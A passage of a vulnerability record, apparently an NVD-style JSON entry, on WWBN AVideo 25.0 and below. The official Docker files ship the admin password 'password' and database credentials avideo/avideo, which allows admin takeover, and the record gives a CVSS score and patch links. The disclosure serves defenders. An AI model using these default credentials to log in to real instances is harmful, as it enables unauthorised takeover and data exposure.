In versions 25.0 and below, the official Docker deployment files (docker-compose.yml, env.example) ship with the admin password set to \"password\", which is automatically used to seed the admin account during installation, meaning any instance deployed without overriding SYSTEM_ADMIN_PASSWORD is immediately vulnerable to trivial administrative takeover. No compensating controls exist: there is no forced password change on first login, no complexity validation, no default-password detection, and the password is hashed with weak MD5. Full admin access enables user data exposure, content manipulation, and potential remote code execution via file uploads and plugin management. The same insecure-default pattern extends to database credentials (avideo/avideo), compounding the risk. Exploitation depends on operators failing to change the default, a condition likely met in quick-start, demo, and automated deployments. This issue has been fixed in version 26.0."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. En las versiones 25.0 e inferiores, los archivos oficiales de despliegue de Docker (docker-compose.yml, env.example) se distribuyen con la contraseña de administrador establecida como 'password', que se utiliza automáticamente para inicializar la cuenta de administrador durante la instalación, lo que significa que cualquier instancia desplegada sin sobrescribir SYSTEM_ADMIN_PASSWORD es inmediatamente vulnerable a una toma de control administrativa trivial. No existen controles compensatorios: no hay cambio de contraseña forzado en el primer inicio de sesión, no hay validación de complejidad, no hay detección de contraseña por defecto, y la contraseña se hashea con un MD5 débil. El acceso completo de administrador permite la exposición de datos de usuario, la manipulación de contenido y la potencial ejecución remota de código a través de la carga de archivos y la gestión de plugins. El mismo patrón de valores predeterminados inseguros se extiende a las credenciales de la base de datos (avideo/avideo), lo que agrava el riesgo. La explotación depende de que los operadores no cambien el valor predeterminado, una condición que probablemente se cumpla en despliegues de inicio rápido, demostraciones y automatizados. Este problema ha sido solucionado en la versión 26.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1188"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "B468F0CE-E5E7-4607-BD15-B5763C47493E"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/2075fac1a51f21fab5d8592235a095aa354a9de6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-89rv-p523-6wg9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}
